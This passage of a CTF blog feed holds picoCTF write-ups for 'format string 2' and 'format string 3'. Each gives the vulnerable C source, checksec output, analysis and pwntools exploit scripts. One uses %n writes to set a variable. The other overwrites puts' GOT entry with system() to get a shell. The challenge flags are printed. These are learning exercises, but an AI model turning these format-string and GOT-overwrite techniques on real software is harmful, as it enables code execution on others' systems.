class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">char</span> buf[<span class="number">1024</span>];</span><br><span class="line"> <span class="type">char</span> flag[<span class="number">64</span>];</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n"</span>);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">"%1024s"</span>, buf);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Here's your input: "</span>);</span><br><span class="line"> <span class="built_in">printf</span>(buf);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (sus == <span class="number">0x67616c66</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"I have NO clue how you did that, you must be a wizard. Here you go...\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Read in the flag</span></span><br><span class="line"> FILE *fd = fopen(<span class="string">"flag.txt"</span>, <span class="string">"r"</span>);</span><br><span class="line"> fgets(flag, <span class="number">64</span>, fd);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s"</span>, flag);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"sus = 0x%x\n"</span>, sus);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"You can do better!\n"</span>);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>checksec</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Arch: amd64</span><br><span class="line">RELRO: Partial RELRO</span><br><span class="line">Stack: No canary found</span><br><span class="line">NX: NX enabled</span><br><span class="line">PIE: <span class="function">No <span class="title">PIE</span> <span class="params">(<span class="number">0x400000</span>)</span></span></span><br><span class="line"><span class="function">SHSTK: Enabled</span></span><br><span class="line"><span class="function">IBT: Enabled</span></span><br><span class="line"><span class="function">Stripped: No</span></span><br></pre></td></tr></table></figure><h2 id="Attack-analysis-2"><a href="#Attack-analysis-2" class="headerlink" title="Attack analysis"></a>Attack analysis</h2><p>You can see no PIE, so binary will be static address. </p><p>With format string vulnerabiliy :</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">"Here's your input: "</span>);</span><br><span class="line"><span class="built_in">printf</span>(buf); <span class="comment">//vuln</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line"><span class="built_in">fflush</span>(stdout); </span><br></pre></td></tr></table></figure><p>Our goal is print the flag by trigger the condition : <code>sus == 0x67616c66</code>, and we know <code>sus</code>‘s address because of no PIE.</p><p>So we know the <code>sus</code>‘s address, value to trigger and format string, so we will use <code>%n</code> to write a value for <code>sus</code> </p><p>Below here is shortest payload by using framework in pwntools.</p><h2 id="Payload-1"><a href="#Payload-1" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) <= <span class="number">2</span>:</span><br><span class="line"> p = process(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line"> e = ELF(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line"> remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line"> p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'DEBUG'</span></span><br><span class="line">context.arch = <span class="string">'amd64'</span></span><br><span class="line"></span><br><span class="line">sus = <span class="number">0x404060</span> <span class="comment"># goal : sus = 0x67616c66</span></span><br><span class="line"></span><br><span class="line">payload = fmtstr_payload(<span class="number">14</span>,{sus : <span class="number">0x67616c66</span>})</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b'What do you have to say?\n'</span>, payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>handcraft payload: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) <= <span class="number">2</span>:</span><br><span class="line"> p = process(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line"> e = ELF(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line"> remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line"> p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'DEBUG'</span></span><br><span class="line">context.arch = <span class="string">'amd64'</span></span><br><span class="line"></span><br><span class="line">sus = <span class="number">0x404060</span> <span class="comment"># goal : sus = 0x6761 6c66</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">f'%<span class="subst">{<span class="number">0x6761</span>}</span>c%24$hn'</span>.encode()</span><br><span class="line">payload += <span class="string">f'%<span class="subst">{<span class="number">0x6c66</span>-<span class="number">0x6761</span>}</span>c%25$hn'</span>.encode()</span><br><span class="line">payload = payload.ljust(<span class="number">0x50</span>,<span class="string">b'a'</span>)</span><br><span class="line">payload += p64(sus+<span class="number">2</span>)</span><br><span class="line">payload += p64(sus)</span><br><span class="line">p.sendlineafter(<span class="string">b'What do you have to say?\n'</span>, payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>explain : </p><p><code>fmtstr_payload()</code> : from pwntools</p><p><code>14</code> : offset when your input entry</p><p><code>{sus : 0x67616c66}</code> : sus is address we want to write value, and <code>0x67616c66</code> is that value</p><p>flag : <code>picoCTF{f0rm47_57r?_f0rm47_m3m_741fa290}</code></p><h1 id="format-string-3"><a href="#format-string-3" class="headerlink" title="format string 3"></a>format string 3</h1><h2 id="Description-3"><a href="#Description-3" class="headerlink" title="Description"></a>Description</h2><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Author: SkrubLawd</span><br><span class="line"></span><br><span class="line">Description</span><br><span class="line">This program doesn<span class="string">'t contain a win function. How can you win?</span></span><br><span class="line"><span class="string">Download the binary here.</span></span><br><span class="line"><span class="string">Download the source here.</span></span><br><span class="line"><span class="string">Download libc here, download the interpreter here. Run the binary with these two files present in the same directory.</span></span><br><span class="line"><span class="string">Additional details will be available after launching your challenge instance.</span></span><br></pre></td></tr></table></figure><h2 id="Source-3"><a href="#Source-3" class="headerlink" title="Source"></a>Source</h2><p>All the file we got : </p><ul><li>binary</li><li>source</li><li>libc</li><li>interpreter</li></ul><p>Checksec : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Arch: amd64</span><br><span class="line">RELRO: Partial RELRO</span><br><span class="line">Stack: Canary found</span><br><span class="line">NX: NX enabled</span><br><span class="line">PIE: <span class="function">No <span class="title">PIE</span> <span class="params">(<span class="number">0x3ff000</span>)</span></span></span><br><span class="line"><span class="function">RUNPATH: b<span class="string">'.'</span></span></span><br><span class="line"><span class="function">SHSTK: Enabled</span></span><br><span class="line"><span class="function">IBT: Enabled</span></span><br><span class="line"><span class="function">Stripped: No</span></span><br></pre></td></tr></table></figure><h2 id="Attack-analysis-3"><a href="#Attack-analysis-3" class="headerlink" title="Attack analysis"></a>Attack analysis</h2><p>Remember always patch binary with libc whenever you receive libc, I use <code>pwninit</code> to patch the libc.</p><p>Go around and we can’t see how to get shell or read flag, besides we get libc with different current version, so we need to <code>ret2libc</code></p><p>In libc always has <code>system()</code> function, the goal maybe call command <code>system("/bin/sh")</code></p><p>because of lacking of condition : return to system() + rdi is a pointer to <code>"/bin/sh"</code> string, i look around and see <code>puts</code> is holding that condition: </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts</span>(normal_string);</span><br></pre></td></tr></table></figure><p><code>normal_string</code> is <code>"/bin/sh"</code> has been declared. But what’s wrong with <code>puts</code> ? </p><p>you can see this : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RELRO: Partial RELRO</span><br></pre></td></tr></table></figure><p>it means got doesn’t <code>GOT</code> protection, so I think we can attack <code>GOT</code>. Bonus with no PIE it means GOT’s address will be static. Reverse our road we got : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">call <span class="title">system</span><span class="params">(<span class="string">"/bin/sh"</span>)</span> <-</span></span><br><span class="line"><span class="function">attack puts's GOT to <span class="title">system</span><span class="params">()</span> address <-</span></span><br><span class="line"><span class="function">format string to write into puts's GOT value</span></span><br></pre></td></tr></table></figure><h2 id="Payload-2"><a href="#Payload-2" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) <= <span class="number">2</span>:</span><br><span class="line"> p = process(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line"> e = ELF(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line"> gdb.attach(p,</span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">b*main+145</span></span><br><span class="line"><span class="string">c</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line"> remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line"> p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'DEBUG'</span></span><br><span class="line">context.arch = <span class="string">'amd64'</span></span><br><span class="line"></span><br><span class="line">got_put = <span class="number">0x404018</span></span><br><span class="line">system_to_base = <span class="number">0x4f760</span></span><br><span class="line">leak_to_base = <span class="number">0x7a3f0</span></span><br><span class="line">payload = p64(got_put)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">b'in libc: '</span>)</span><br><span class="line">libc_leaked = <span class="built_in">int</span>(p.recv(<span class="number">14</span>),<span class="number">16</span>)</span><br><span class="line">base = libc_leaked - leak_to_base</span><br><span class="line">system = base + system_to_base</span><br><span class="line">system_tail = system & <span class="number">0xffffff</span></span><br><span class="line">log.info(<span class="string">'libc base : '</span> + <span class="built_in">hex</span>(base))</span><br><span class="line">log.info(<span class="string">'system : '</span> + <span class="built_in">hex</span>(system))</span><br><span class="line">log.info(<span class="string">'system tail : '</span> + <span class="built_in">hex</span>(system_tail))</span><br><span class="line"></span><br><span class="line">payload = fmtstr_payload(<span class="number">38</span>,{got_put : system})</span><br><span class="line"></span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">p.sendline(<span class="string">b'ls'</span>)</span><br><span class="line">p.sendline(<span class="string">b'cat flag.txt'</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>handcraft payload : </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) <= <span class="number">2</span>:</span><br><span class="line"> p = process(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line"> e = ELF(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line"> gdb.attach(p,</span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">b*main+145</span></span><br><span class="line"><span class="string">c</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line"> remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line"> p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'DEBUG'</span></span><br><span class="line">context.arch = <span class="string">'amd64'</span></span><br><span class="line"></span><br><span class="line">got_put = <span class="number">0x404018</span></span><br><span class="line">system_to_base = <span class="number">0x4f760</span></span><br><span class="line">leak_to_base = <span class="number">0x7a3f0</span></span><br><span class="line">payload = p64(got_put)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">b'in libc: '</span>)</span><br><span class="line">libc_leaked = <span class="built_in">int</span>(p.recv(<span class="number">14</span>),<span class="number">16</span>)</span><br><span class="line">base = libc_leaked - leak_to_base</span><br><span class="line">system = base + system_to_base</span><br><span class="line">system_tail = system & <span class="number">0xffffff</span></span><br><span class="line">log.info(<span class="string">'libc base : '</span> + <span class="built_in">hex</span>(base))</span><br><span class="line">log.info(<span class="string">'system : '</span> + <span class="built_in">hex</span>(system))</span><br><span class="line">log.info(<span class="string">'system tail : '</span> + <span class="built_in">hex</span>(system_tail))</span><br><span class="line"></span><br><span class="line">payload = <span class="string">f'%<span class="subst">{system_tail&<span class="number">0xff</span>}</span>c%42$hhn'</span>.encode()</span><br><span class="line">payload += <span class="string">f'%<span class="subst">{(system_tail>><span class="number">8</span>)-(system_tail&<span class="number">0xff</span>)}</span>c%43$hn'</span>.encode()</span><br><span class="line">payload = payload.ljust(<span class="number">32</span>,<span class="string">b'a'</span>)</span><br><span class="line"></span><br><span class="line">payload += p64(got_put)</span><br><span class="line">payload += p64(got_put+<span class="number">1</span>)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">p.sendline(<span class="string">b'ls'</span>)</span><br><span class="line">p.sendline(<span class="string">b'cat flag.txt'</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>flag : <code>picoCTF{G07_G07?_cf6cb591}</code></p>]]></content>
<summary type="html"><p>Hi guys, this is series clear pwn from medium up to highest difficulty. I write these writeups mainly about the things I’ve learned, so s</summary>
<category term="Writeup" scheme="https://vuk3r.github.io/categories/Writeup/"/>
<category term="PWN" scheme="https://vuk3r.github.io/tags/PWN/"/>
<category term="Writeup" scheme="https://vuk3r.github.io/tags/Writeup/"/>
</entry>
</feed>